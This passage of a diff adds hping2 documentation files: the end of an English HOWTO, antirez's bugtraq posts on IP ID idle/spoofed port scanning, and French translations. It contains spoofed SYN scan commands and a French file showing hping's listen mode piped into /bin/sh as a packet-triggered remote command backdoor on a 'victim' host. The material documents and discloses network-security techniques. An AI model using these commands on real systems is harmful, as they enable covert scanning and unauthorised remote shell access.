40 bytes from 111.222.333.44: flags=R seq=5 ttl=249 id=+5 win=0 rtt=410.0 ms
40 bytes from 111.222.333.44: flags=R seq=6 ttl=249 id=+8 win=0 rtt=1509.9 ms
40 bytes from 111.222.333.44: flags=R seq=7 ttl=249 id=+4 win=0 rtt=1460.0 ms
40 bytes from 111.222.333.44: flags=R seq=8 ttl=249 id=+7 win=0 rtt=770.0 ms
40 bytes from 111.222.333.44: flags=R seq=9 ttl=249 id=+5 win=0 rtt=230.0 ms
...
as you can see this host isn't in idle, it sends ~ 6 packets every second.
Now scan www.yahoo.com's port 80 to see if it's open:
root.1# hping -a server.alicom.com -S -p 80 -i u10000 www.yahoo.com
ppp0 default routing interface selected (according to /proc)
HPING www.yahoo.com (ppp0 204.71.200.74): S set, 40 headers + 0 data bytes
[wait some second and press CTRL+C]
--- www.yahoo.com hping statistic ---
130 packets tramitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
Looking output of 'hping awake.host.org -p 80 -A -r' it's
simple to understand that www.yahoo.com's port 80 is open:
40 bytes from 111.222.333.44: flags=R seq=59 ttl=249 id=+16 win=0 rtt=380.0 ms
40 bytes from 111.222.333.44: flags=R seq=60 ttl=249 id=+75 win=0 rtt=850.0 ms
40 bytes from 111.222.333.44: flags=R seq=61 ttl=249 id=+12 win=0 rtt=1050.0 ms
40 bytes from 111.222.333.44: flags=R seq=62 ttl=249 id=+1 win=0 rtt=450.0 ms
40 bytes from 111.222.333.44: flags=R seq=63 ttl=249 id=+27 win=0 rtt=230.0 ms
40 bytes from 111.222.333.44: flags=R seq=64 ttl=249 id=+11 win=0 rtt=850.0 ms
note that 16+75+12+27+11+1-6 = 136 and that we sent 130 packets. So it's
very realistic that increments are produced by our packtes.
Tips: Using an idle host to perform spoofed scanning it's usefull to
output only replies that show an increment != 1. Try
`hping host -r | grep -v "id=+1"'

15
docs/HPING2-IS-OPEN Normal file
View File

@ -0,0 +1,15 @@
I want to spend two words about hping2 developing model.
Hping2 is totally open to new contribution and ideas,
if you have even the littlest idea in order to make
hping better or you make some patch send me an email.
All the patches, if they don't break the old code and
are not totally useless, will be included. I know of
a lot of projects that are GPLed but in some way "close"
since every new patch is considered bloat or the only
possible code is the primary authors code: THIS IS
NOT THE CASE! Also every the littlest doc contribution
will be added to hping2, you can just build a plain-text
file that exposes how to do some task with hping, it will
be included under the 'docs' directory.
antirez

29
docs/MORE-FUN-WITH-IPID Normal file
View File

@ -0,0 +1,29 @@
Posted to bugtraq mailing list (20 Nov 1999):
---
Hi,
some little new ideas about IP ID issue:
The first is about linux firewalling: since it increase IP ID global counter
even if an outgoing packet will be filtered we are able, for example, to
scan UDP ports even if ICMP type 3 output is DENY, and in general it is possibleto know when TCP/IP stack reply a packet even if the reply is dropped.
I think (but not tested) that this is true for almost all firewalls.
The second issue concern the ability to uncover firewall rules. For example
it is travial to know if host A filter packets from the IP X.Y.Z.W monitoring
IP ID incresing of host A or host with X.Y.Z.W address (this changes if we are
interested to know input or output rules) and sending packets that suppose
some reply. Also this is related with the ability to scan the ports of hosts
that drop all packets with a source different than host.trusted.com.
There are others stuff like this but they are only different faces of the
same concepts.
Some people thinks that this kind of attacks isn't a "real world" attacks,
I'm strongly interested to know what's bugtraq readers opinion (IMO this
kind of attacks are feasible and usefull for an attacker. For exaple the
ability to scan the ports with only spoofed packets and the ability to
guess remote hosts traffic are a lot real).
ciao,
antirez

119
docs/SPOOFED_SCAN.txt Normal file
View File

@ -0,0 +1,119 @@
The following is the original posting to bugtraq
about spoofed/indirect/idle scan method. See
the HPING2-HOWTO for more informations.
antirez
---
Hi,
I have uncovered a new tcp port scan method.
Instead all others it allows you to scan using spoofed
packets, so scanned hosts can't see your real address.
In order to perform this i use three well known tcp/ip
implementation peculiarities of most OS:
(1) * hosts reply SYN|ACK to SYN if tcp target port is open,
reply RST|ACK if tcp target port is closed.
(2) * You can know the number of packets that hosts are sending
using id ip header field. See my previous posting 'about the ip
header' in this ml.
(3) * hosts reply RST to SYN|ACK, reply nothing to RST.
The Players:
host A - evil host, the attacker.
host B - silent host.
host C - victim host.
A is your host.
B is a particular host: It must not send any packets while
you are scanning C. There are a lot of 'zero traffic' hosts
in internet, especially in the night :)
C is the victim, it must be vulnerable to SYN scan.
I've called this scan method 'dumb host scan' in honour of host
B characteristics.
How it works:
Host A monitors number of outgoing packets from B using id iphdr.
You can do this simply using hping:
#hping B -r
HPING B (eth0 xxx.yyy.zzz.jjj): no flags are set, 40 data bytes
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=0 ttl=64 id=41660 win=0 time=1.2 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=1 ttl=64 id=+1 win=0 time=75 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=2 ttl=64 id=+1 win=0 time=91 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=3 ttl=64 id=+1 win=0 time=90 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=4 ttl=64 id=+1 win=0 time=91 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=5 ttl=64 id=+1 win=0 time=87 ms
-cut-
..
.
As you can see, id increases are always 1. So this host have the
characteristics that host B should to own.
Now host A sends SYN to port X of C spoofing from B.
(using hping => 0.67 is very easy, http://www.kyuzz.org/antirez)
if port X of C is open, host C will send SYN|ACK to B (yes,
host C don't know that the real sender is A). In this
case host B replies to SYN|ACK with a RST.
If we send to host C a few of SYN it will reply to B with a few
of SYN|ACK, so B will reply to C a few of RST... so
we'll see that host B is sending packets!
.
..
-cut-
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=17 ttl=64 id=+1 win=0 time=96 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=18 ttl=64 id=+1 win=0 time=80 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=19 ttl=64 id=+2 win=0 time=83 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=20 ttl=64 id=+3 win=0 time=94 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=21 ttl=64 id=+1 win=0 time=92 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=22 ttl=64 id=+2 win=0 time=82 ms
-cut-
..
.
The port is open!
Instead, if port X of C is closed sending to C a few
of SYN spoofed from B, it will reply with RST to B, and
B will not reply (see 3). So we'll see that host B is not sending
any packet:
.
..
-cut-
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=52 ttl=64 id=+1 win=0 time=85 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=53 ttl=64 id=+1 win=0 time=83 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=54 ttl=64 id=+1 win=0 time=93 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=55 ttl=64 id=+1 win=0 time=74 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=56 ttl=64 id=+1 win=0 time=95 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=57 ttl=64 id=+1 win=0 time=81 ms
-cut-
..
.
The port is closed.
All this can appear complicated to perform, but using two sessions
of hping on Linux virtual consoles or under X makes it more simple.
First session listen host B: hping B -r
Second session send spoofed SYN: hping C -a B -S
Sorry if my english is not so clear.
However this posting is not adequate to describe exaustively
this scan method, so i'll write a paper on this topic, specially
about how to implement this in a port scanner (i.e. nmap), and
about players characteristics and OS used.
happy new year,
antirez

37
docs/french/AS-BACKDOOR Normal file
View File

@ -0,0 +1,37 @@
hping peut être utilisé comme une backdoor (ndt : porte dérobée). Essayez
juste l'option -9 (--listen) et redirigez via un tube dans /bin/sh :
Mettez hping en mode listen (ndt : d'écoute) sur le système victime.
victim# hping -I eth0 -9 mysign | /bin/sh
Chaque paquet qui contient "mysign" sera traité par hping, tous les octets
qui suivent "mysign" dans les paquets seront envoyés dans la sortie
standard, ainsi par exemple je serai capable d'exécuter des commandes en
utilisant tous types de protocoles. Juste pour exemple je peux utiliser le
démon smtpd pour exécuter 'ls' sur la victime.
evil$ telnet victim 25
Trying 192.168.1.1...
Connected to nano (192.168.1.1).
Escape character is '^]'.
220 nano.marmoc.net ESMTP Sendmail
mysignls;
sur la victime vous verrez :
victim# hping -I eth0 -9 mysign | /bin/sh
hping2 listen mode
bin cdrom etc home local-home mnt root tmp var
boot dev export lib lost+found proc sbin usr
: command not found
Comme vous pouvez le voir j'utilise 'ls;' puisque sinon le shell recevra
juste ls^M. Le ";" force l'exécution de la commande (du moins avec bash et
zsh, vérifiez votre shell pour plus d'informations).
Ceci fonctionne avec tous les types de paquets IP valides non filtrés, le
niveau supérieur de protocole importe peu.
antirez <antirez@invece.org>

View File

@ -0,0 +1,475 @@
N.B. : ce HOWTO n'est pas terminé, et par endroits très bête. Je laisse cela
ici seulement parce que peut être que c'est mieux que rien.
HPING2 HOWTO
Changes Log
-----------
Aug 7 1999 vi HPING2-HOWTO.txt
Aug 8 1999 __0000, __0001, __0002, __0003
Aug 10 1999 __0004
Index
-----
[cherchez __XXXX afin de sauter au point que vous souhaitez]
__0000: Avis de copyright
__0001: Qu'est ce que hping ?
__0002: Qu'est ce que j'ai besoin de connaître de TCP/IP pour
utiliser hping ?
__0003: Premiers pas avec hping
__0004: Le champ IP id et comment scanner des ports TCP en utilisant
de l'usurpation d'adresse.
__0005: Comment tester des règles de filtrage. (A faire)
__0006: Comment transférer des fichier au travers de firewalls. (A
faire)
__000A: Exemple d'utilisation de hping (A faire)
__0000: Avis de copyright, Licence, et tout ce genre de choses
Copyright (C) Salvatore Sanfilippo, 1999.
La permission est accordée de faire et distribuer des copies de ce manuel
à condition que l'avis de copyright et cet avis de permission soient
préservés sur toutes les copies.
Permission est accordée de copier et distribuer des versions modifiées de
ce manuel sous les conditions de copie verbatim, à condition que le
travail dérivé soit distribué sous les termes d'un avis de permission
identique à celui-ci. Les traductions tombent dans la catégorie des
''versions modifiées.''
Garantie : Aucune.
Recommandations : les redistributions commerciales sont autorisées et
encouragées; cependant, il est fortement recommandé que le redistributeur
contacte l'auteur avant redistribution, dans l'intérêt de garder les
choses à jour (vous pouvez m'envoyer une copie de ce que vous faites
pendant que vous y êtes). Les traducteurs sont également encouragés à
contacter l'auteur avant traduction. Le version imprimée aura plus
d'allure.
Recyclez.
__0001 : Qu'est ce que hping ?
Hping est un logiciel pour tester des piles TCP/IP, pour découvrir des
politiques de firewalls, pour scanner les ports TCP de nombreuses manières
différentes, pour transférer les fichiers au travers de firewalls et
beaucoup d'autres choses. En utilisant hping vous pouvez même faire
beaucoup de choses qui ne concernent pas la sécurité. Par exemples vous
pouvez tester les performances réseau, vérifier si un système tourne,
vérifier si le champ TOS est géré, etc.
__0002 : Qu'est ce que j'ai besoin de connaître de TCP/IP pour utiliser
hping ?
Si vous connaissez TCP/IP vous trouverez hping très utile, sinon vous
pouvez utiliser hping seulement pour faire des tests connus. Voir __000A
pour quelques exemples.
__0003 : Premiers pas avec hping
La plus simple utilisation de hping est la suivante :
#hping host
Cette commande envoie un paquet TCP sans drapeau au port 0 du système
cible chaque seconde et montre les réponses du système. Par exemple :
# hping www.debian.org
ppp0 default routing interface selected (according to /proc)
HPING www.debian.org (ppp0 209.81.8.242): NO FLAGS are set, 40 headers + 0 data bytes
40 bytes from 209.81.8.242: flags=RA seq=0 ttl=243 id=63667 win=0 time=369.4 ms
40 bytes from 209.81.8.242: flags=RA seq=1 ttl=243 id=63719 win=0 time=420.0 ms
40 bytes from 209.81.8.242: flags=RA seq=2 ttl=243 id=63763 win=0 time=350.0 ms
[Ctrl+C]
--- www.debian.org hping statistic ---
3 packets tramitted, 3 packets received, 0% packet loss
Comme vous pouvez le voir le système répond avec un paquet TCP avec les
drapeaux RST et ACK positionnés. Ainsi vous êtes capable d'effectuer un
'ping TCP', utile quand ICMP est filtré. Par défaut le port 0 est utilisé
parce qu'il serait étrange qu'il soit à l'état LISTEN (ndt : en écoute).
Si nous envoyons un paquet TCP sans drapeau à un port à l'état LISTEN, de
nombreuses piles TCP/IP ne renverront pas de réponse. Ainsi nous sommes
capables de savoir si un port est dans l'état LISTEN. Par exemple :
# hping www.debian.org -p 80
ppp0 default routing interface selected (according to /proc)
HPING www.debian.org (ppp0 209.81.8.242): NO FLAGS are set, 40 headers + 0 data bytes
[Ctrl+C]
--- www.debian.org hping statistic ---
5 packets trasmitted, 0 packets received, 100% packet loss
Puisque le port 80 de www.debian.org est en mode LISTEN nous n'obtenons
aucune réponse.
Mais qu'arrive-t-il si nous essayons de 'hpinger' un port bloqué par un
firewall ? Cela dépend de la politique / configuration du firewall.
Habituellement nous obtenons un paquet ICMP ou rien. Par exemple :
# hping www.yahoo.com -p 79
ppp0 default routing interface selected (according to /proc)
HPING www.yahoo.com (ppp0 204.71.200.67): NO FLAGS are set, 40 headers + 0 data bytes
ICMP Packet filtered from 206.132.254.41 (pos1-0-2488M.hr8.SNV.globalcenter.net)
--- www.yahoo.com hping statistic ---
14 packets tramitted, 0 packets received, 100% packet loss
Le firewall de yahoo ne permet pas de connexion sur le port 79, donc il
répond avec un paquet ICMP Packet filtered (ICMP unreachable code 13).
Cependant il y a beaucoup de firewalls qui ignorent simplement le paquet.
Par exemple :
# hping www.microsoft.com -p 79
ppp0 default routing interface selected (according to /proc)
HPING www.microsoft.com (ppp0 207.46.130.150): NO FLAGS are set, 40 headers + 0 data bytes
--- www.microsoft.com hping statistic ---
4 packets tramitted, 0 packets received, 100% packet loss
Aucune réponse de microsoft. Est-ce que le port est bloqué ou en mode
LISTEN ? Découvrir cela est très simple. Nous essayons juste de mettre le
drapeau ACK au lieu d'envoyer un paquet TCP sans drapeau. Si le système
répond, peut-être que ce port est en mode LISTEN (mais il est possible
qu'il y ait une règle qui refuse les paquets TCP sans drapeau mais
autorise les paquets ACK).
# hping www.microsoft.com -A -p 79
ppp0 default routing interface selected (according to /proc)
HPING www.microsoft.com (ppp0 207.46.130.149): A set, 40 headers + 0 data bytes
--- www.microsoft.com hping statistic ---
3 packets tramitted, 0 packets received, 100% packet loss
Toujours pas de réponse, ainsi ce port semble être filtré. Quoi qu'il en
soit, il est possible que microsoft utilise un firewall 'intelligent' qui
sait que pour me connecter je dois d'abord envoyer un paquet SYN.
# hping www.microsoft.com -S -p 79
ppp0 default routing interface selected (according to /proc)
HPING www.microsoft.com (ppp0 207.46.130.149): S set, 40 headers + 0 data bytes
--- www.microsoft.com hping statistic ---
3 packets tramitted, 0 packets received, 100% packet loss
Ok.. il semble que le port 79 de microsoft est réellement filtré.
Pour clarification nous envoyons quelques paquets ACK au port 80 de
www.debian.org :
# hping www.debian.org -p 80 -A
ppp0 default routing interface selected (according to /proc)
HPING www.debian.org (ppp0 209.81.8.242): A set, 40 headers + 0 data bytes
40 bytes from 209.81.8.242: flags=R seq=0 ttl=243 id=5590 win=0 time=379.5 ms
40 bytes from 209.81.8.242: flags=R seq=1 ttl=243 id=5638 win=0 time=370.0 ms
40 bytes from 209.81.8.242: flags=R seq=2 ttl=243 id=5667 win=0 time=360.0 ms
--- www.debian.org hping statistic ---
3 packets tramitted, 3 packets received, 0% packet loss
Nous pouvons voir les réponses même si le port 80 est en mode LISTEN parce
qu'un port en mode LISTEN ne devrait pas répondre à des paquets TCP avec
seulement un drapeau NULL, FIN, Xmas, ou Ymas. ACK et RST sont deux
drapeaux TCP importants qui permettent de tester des ACL (ndt : listes de
contrôle d'accès) et de deviner le champ ip->id en ne laissant pas de
trace dans les journaux (généralement).
__0004 : Le champ IP id et comment scanner des ports TCP en utilisant de
l'usurpation d'adresse.
Chaque paquet IP est identifié par un champ id de 16 bits. Grâce à ce
champ id les piles IP sont capables de gérer la fragmentation. De nombreux
OS traitent ip->id trivialement : incrémenter ce champ de 1 champ pour
chaque paquet envoyé. En utilisant ce champ id vous êtes au minimum
capable d'estimer le trafic et de scanner en usurpant l'adresse source.
OpenBSD >= 2.5 et beaucoup d'autres mettent en oeuvre un champ id
aléatoire non répétitif ainsi vous ne pouvez pas jouer avec le champ
ip->id. Le champ ip->id des systèmes Windows n'est pas positionné dans le
même ordre (ndt : dans le bon ordre), donc vous devez spécifier l'option
--winid ou -W si vous utilisez hping2 contre un système Windows.
N.B. : Vous êtes capable de scanner un système avec un champ ip->id
sûre/aléatoire parce que pour spoofer vos paquets vous avez besoin
d'un système tiers avec un champ id incrémental, mais vous n'avez
pas besoin que la cible de votre scan ait un champ id incrémental.
Comment estimer le trafic d'un système en utilisant le champ ip->id ?
C'est vraiment très simple :
# hping www.yahoo.com -p 80 -A
ppp0 default routing interface selected (according to /proc)
HPING www.yahoo.com (ppp0 204.71.200.74): A set, 40 headers + 0 data bytes
40 bytes from 204.71.200.74: flags=R seq=0 ttl=53 id=29607 win=0 rtt=329.4 ms
40 bytes from 204.71.200.74: flags=R seq=1 ttl=53 id=31549 win=0 rtt=390.0 ms
40 bytes from 204.71.200.74: flags=R seq=2 ttl=53 id=33432 win=0 rtt=390.0 ms
40 bytes from 204.71.200.74: flags=R seq=3 ttl=53 id=35368 win=0 rtt=380.0 ms
40 bytes from 204.71.200.74: flags=R seq=4 ttl=53 id=37335 win=0 rtt=390.0 ms
40 bytes from 204.71.200.74: flags=R seq=5 ttl=53 id=39157 win=0 rtt=380.0 ms
40 bytes from 204.71.200.74: flags=R seq=6 ttl=53 id=41118 win=0 rtt=370.0 ms
40 bytes from 204.71.200.74: flags=R seq=7 ttl=53 id=43330 win=0 rtt=390.0 ms
--- www.yahoo.com hping statistic ---
8 packets tramitted, 8 packets received, 0% packet loss
round-trip min/avg/max = 329.4/377.4/390.0 ms
Comme vous pouvez le voir le champ id augmente. Le paquet avec le numéro
de séquence 0 possède un champ id égal à 29607, le numéro 1 à 31549, ainsi
le système www.yahoo.com a envoyé 31549-29607 = 1942 paquets en environ
une seconde. En utilisant l'option -r ou --relid, hping affiche le delta
entre les champs id des deux derniers paquets reçus.
# hping www.yahoo.com -P 80 -A -r
ppp0 default routing interface selected (according to /proc)
HPING www.yahoo.com (ppp0 204.71.200.68): A set, 40 headers + 0 data bytes
40 bytes from 204.71.200.68: flags=R seq=0 ttl=53 id=65179 win=0 rtt=327.1 ms
40 bytes from 204.71.200.68: flags=R seq=1 ttl=53 id=+1936 win=0 rtt=360.0 ms
40 bytes from 204.71.200.68: flags=R seq=2 ttl=53 id=+1880 win=0 rtt=340.0 ms
40 bytes from 204.71.200.68: flags=R seq=3 ttl=53 id=+1993 win=0 rtt=330.0 ms
40 bytes from 204.71.200.68: flags=R seq=4 ttl=53 id=+1871 win=0 rtt=350.0 ms
40 bytes from 204.71.200.68: flags=R seq=5 ttl=53 id=+1932 win=0 rtt=340.0 ms
40 bytes from 204.71.200.68: flags=R seq=6 ttl=53 id=+1776 win=0 rtt=330.0 ms
40 bytes from 204.71.200.68: flags=R seq=7 ttl=53 id=+1749 win=0 rtt=320.0 ms
40 bytes from 204.71.200.68: flags=R seq=8 ttl=53 id=+1888 win=0 rtt=340.0 ms
40 bytes from 204.71.200.68: flags=R seq=9 ttl=53 id=+1907 win=0 rtt=330.0 ms
--- www.yahoo.com hping statistic ---
10 packets tramitted, 10 packets received, 0% packet loss
round-trip min/avg/max = 320.0/336.7/360.0 ms
Évidemment si on vérifie le champ id toutes les demi-secondes plutôt que
toutes les secondes, l'incrément sera diminué de moitié.
# hping www.yahoo.com -P 80 -A -r -i u 500000
ppp0 default routing interface selected (according to /proc)
HPING www.yahoo.com (ppp0 204.71.200.68): A set, 40 headers + 0 data bytes
40 bytes from 204.71.200.68: flags=R seq=0 ttl=53 id=35713 win=0 rtt=327.0 ms
40 bytes from 204.71.200.68: flags=R seq=1 ttl=53 id=+806 win=0 rtt=310.0 ms
40 bytes from 204.71.200.68: flags=R seq=2 ttl=53 id=+992 win=0 rtt=320.0 ms
40 bytes from 204.71.200.68: flags=R seq=3 ttl=53 id=+936 win=0 rtt=330.0 ms
40 bytes from 204.71.200.68: flags=R seq=4 ttl=53 id=+987 win=0 rtt=310.0 ms
40 bytes from 204.71.200.68: flags=R seq=5 ttl=53 id=+952 win=0 rtt=320.0 ms
40 bytes from 204.71.200.68: flags=R seq=6 ttl=53 id=+918 win=0 rtt=330.0 ms
40 bytes from 204.71.200.68: flags=R seq=7 ttl=53 id=+809 win=0 rtt=320.0 ms
40 bytes from 204.71.200.68: flags=R seq=8 ttl=53 id=+881 win=0 rtt=320.0 ms
--- www.yahoo.com hping statistic ---
9 packets tramitted, 9 packets received, 0% packet loss
round-trip min/avg/max = 310.0/320.8/330.0 ms
N.B. Attention, en utilisant ip->id vous n'êtes capable que d'estimer *le
nombre de paquets envoyés/unité de temps*. Vous ne pouvez pas
toujours comparer différents systèmes. Le champ ip->id concerne
toutes les interfaces d'un système et par exemple si un système
utilise de la traduction d'adresse ou redirige les connexions TCP
vers un autre système (par exemple un firewall utilisé pour cacher un
serveur web) l'incrément du champ ip->id peut résulter en de fausses
augmentations.
En 'hpingant' les boites windows sans utiliser l'option --winid vous
verrez que les incrément sont des multiples de 256 à cause d'un ordre des
octets inversé. Ceci peut être réellement utile pour déterminer le type
d'OS.
#hping win95 -r
HPING win95 (eth0 192.168.4.41): NO FLAGS are set, 40 headers + 0 data bytes
46 bytes from 192.168.4.41: flags=RA seq=0 ttl=128 id=47371 win=0 rtt=0.5 ms
46 bytes from 192.168.4.41: flags=RA seq=1 ttl=128 id=+256 win=0 rtt=0.5 ms
46 bytes from 192.168.4.41: flags=RA seq=2 ttl=128 id=+256 win=0 rtt=0.6 ms
46 bytes from 192.168.4.41: flags=RA seq=3 ttl=128 id=+256 win=0 rtt=0.5 ms
--- win95 hping statistic ---
4 packets tramitted, 4 packets received, 0% packet loss
round-trip min/avg/max = 0.5/0.5/0.6 ms
Les systèmes windows sont "marqués", ainsi pour découvrir si un système
est un Windows vous avez juste besoin d'envoyer quelques paquets.
Comment effectuer des scans SYN spoofés en utilisant un champ id incrémental
? Ce qui suit est le message original (ndt : du moins sa traduction) à
bugtraq à propos de la méthode de scan usurpée/indirecte/passive, dessous
j'essayerai d'expliquer les détails et comment cela est possible même avec
UDP avec quelques restrictions.
---- le postage à bugtraq à propos des scans usurpés ----
Salut,
J'ai découvert une nouvelle méthode de scan de ports TCP. Au
contraire de toutes les autres elle vous permet de scanner en
utilisant des paquets usurpés (ndt : dont l'adresse IP source est
usurpée), ainsi les systèmes scannés ne peuvent pas voir votre
adresse réelle. Afin de réaliser cela j'utilise trois particularités
bien connues des mises en oeuvre TCP/IP de la plupart des OS.
(1) * les systèmes répondent SYN|ACK à SYN si le port TCP cible
est ouvert, et RST|ACK si le port TCP cible est fermé.
(2) * Vous pouvez connaître le nombre de paquets que les systèmes
envoient en utilisant le champ id de l'entête IP. Voir mes
précédents postages 'à propos de l'entête IP' dans cette mailing
liste.
(3) * les systèmes répondent RST à SYN|ACK, ne répondent rien à
RST.
Les joueurs:
système A - le système malfaisant, l'attaquant.
système B - le système silencieux.
système C - le système victime.
A est votre système.
B est un système particulier : il ne doit envoyer aucun paquet
pendant que vous scannez C. Il y a énormément de systèmes à 'trafic
nul' sur Internet, spécialement la nuit :)
C est la victime, il doit être vulnérable aux scans SYN.
J'ai appelé cette méthode de scan 'scan du système muet' (ndt :
l'autre traduction de 'dumb' est bête) en référence aux
caractéristiques du système B.
Comment elle fonctionne :
Le système A surveille le nombre de paquets sortants depuis B en
utilisant le champ id de l'entête IP. Vous pouvez faire ceci
simplement en utilisant hping :
#hping B -r
HPING B (eth0 xxx.yyy.zzz.jjj): no flags are set, 40 data bytes
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=0 ttl=64 id=41660 win=0 time=1.2 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=1 ttl=64 id=+1 win=0 time=75 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=2 ttl=64 id=+1 win=0 time=91 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=3 ttl=64 id=+1 win=0 time=90 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=4 ttl=64 id=+1 win=0 time=91 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=5 ttl=64 id=+1 win=0 time=87 ms
-cut-
..
.
Comme vous pouvez le voir, les incréments du champ id sont toujours
de 1. Ainsi ce système a la caractéristique requise pour jouer le
rôle de B.
Maintenant le système A envoie des paquets SYN au port X de C en
usurpant l'adresse source de B.
(avec hping => 0.67 c'est très facile, http://www.kyuzz.org/antirez)
si le port X de C est ouvert, le système C enverra SYN|ACK à B (oui,
le système C ne sait pas que le véritable expéditeur est A). Dans ce
cas le système B répond au SYN|ACK avec un RST.
Si nous envoyons au système C quelques paquets SYN il répondra à B
quelques paquet SYN|ACK, ainsi B répondra à C quelques RST... ainsi
nous verrons que le système B est en train d'envoyer des paquets !
.
..
-cut-
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=17 ttl=64 id=+1 win=0 time=96 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=18 ttl=64 id=+1 win=0 time=80 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=19 ttl=64 id=+2 win=0 time=83 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=20 ttl=64 id=+3 win=0 time=94 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=21 ttl=64 id=+1 win=0 time=92 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=22 ttl=64 id=+2 win=0 time=82 ms
-cut-
..
.
Le port est ouvert !
Par contre, si le port X de C est fermé alors en envoyant à C
quelques paquets SYN avec l'adresse usurpée de B, il répondra avec
des paquets RST à B, et B ne répondra pas (voir 3). Ainsi nous
verrons que le système B n'est en train d'envoyer aucun paquet :
.
..
-cut-
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=52 ttl=64 id=+1 win=0 time=85 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=53 ttl=64 id=+1 win=0 time=83 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=54 ttl=64 id=+1 win=0 time=93 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=55 ttl=64 id=+1 win=0 time=74 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=56 ttl=64 id=+1 win=0 time=95 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=57 ttl=64 id=+1 win=0 time=81 ms
-cut-
..
.
Le port est fermé.
Tout ceci peut paraître compliqué à réaliser, mais utiliser deux
sessions de hping dans des consoles virtuelles Linux ou sous X rend
cela plus simple.
La première session surveille le système B : hping B -r
La seconde session envoie des paquets SYN spoofés : hping C -a B -S
Désolé si mon anglais n'est pas clair.
Cependant ce postage n'est pas adéquat pour décrire exhaustivement
cette méthode de scan, ainsi je vais écrire un article à ce sujet,
en particulier comment mettre en oeuvre ceci dans un scanner de
ports (i.e. nmap), et à propos des caractéristiques des joueurs et
des OS utilisés.
bonne nouvelle année,
antirez
---- EOF ----
Comme vous pouvez le voir un scan usurpé est trivial à réaliser,
particulièrement en utilisant hping2 vous êtes capable de spécifier un
intervalle en micro secondes (-i uX) ainsi vous n'avez pas besoin que le
système B soit un système totalement passif. Vous pouvez lire l'incrément
du champ id une fois toutes les secondes en envoyant 10 paquets SYN par
seconde. Si vous envoyez un nombre adéquat de paquets SYN par seconde,
l'incrément du champ id attendu est si important que vous êtes à même de
voir si le port est ouvert ou fermé même si le système B envoie d'autres
paquets. Exemple :
# hping awake.host.org -p 80 -A -r
ppp0 default routing interface selected (according to /proc)
HPING server.alicom.com (ppp0 111.222.333.44): A set, 40 headers + 0 data bytes
40 bytes from 111.222.333.44: flags=R seq=0 ttl=249 id=47323 win=0 rtt=239.7 ms
40 bytes from 111.222.333.44: flags=R seq=1 ttl=249 id=+6 win=0 rtt=630.0 ms
40 bytes from 111.222.333.44: flags=R seq=2 ttl=249 id=+6 win=0 rtt=280.0 ms
40 bytes from 111.222.333.44: flags=R seq=3 ttl=249 id=+8 win=0 rtt=340.0 ms
40 bytes from 111.222.333.44: flags=R seq=4 ttl=249 id=+5 win=0 rtt=440.0 ms
40 bytes from 111.222.333.44: flags=R seq=5 ttl=249 id=+5 win=0 rtt=410.0 ms
40 bytes from 111.222.333.44: flags=R seq=6 ttl=249 id=+8 win=0 rtt=1509.9 ms
40 bytes from 111.222.333.44: flags=R seq=7 ttl=249 id=+4 win=0 rtt=1460.0 ms
40 bytes from 111.222.333.44: flags=R seq=8 ttl=249 id=+7 win=0 rtt=770.0 ms
40 bytes from 111.222.333.44: flags=R seq=9 ttl=249 id=+5 win=0 rtt=230.0 ms
...
comme vous pouvez le voir, ce système n'est pas inactif, il envoie environ
6 paquets chaque seconde. Maintenant scannez le port 80 de www.yahoo.com
pour voir s'il est ouvert :
root.1# hping -a server.alicom.com -S -p 80 -i u10000 www.yahoo.com
ppp0 default routing interface selected (according to /proc)
HPING www.yahoo.com (ppp0 204.71.200.74): S set, 40 headers + 0 data bytes
[attendre quelques secondes et presser CTRL+C]
--- www.yahoo.com hping statistic ---
130 packets tramitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
En observant la sortie de 'hping awake.host.org -p 80 -A -r' il est
simple de comprendre que le port 80 de www.yahoo.com est ouvert :
40 bytes from 111.222.333.44: flags=R seq=59 ttl=249 id=+16 win=0 rtt=380.0 ms
40 bytes from 111.222.333.44: flags=R seq=60 ttl=249 id=+75 win=0 rtt=850.0 ms
40 bytes from 111.222.333.44: flags=R seq=61 ttl=249 id=+12 win=0 rtt=1050.0 ms
40 bytes from 111.222.333.44: flags=R seq=62 ttl=249 id=+1 win=0 rtt=450.0 ms
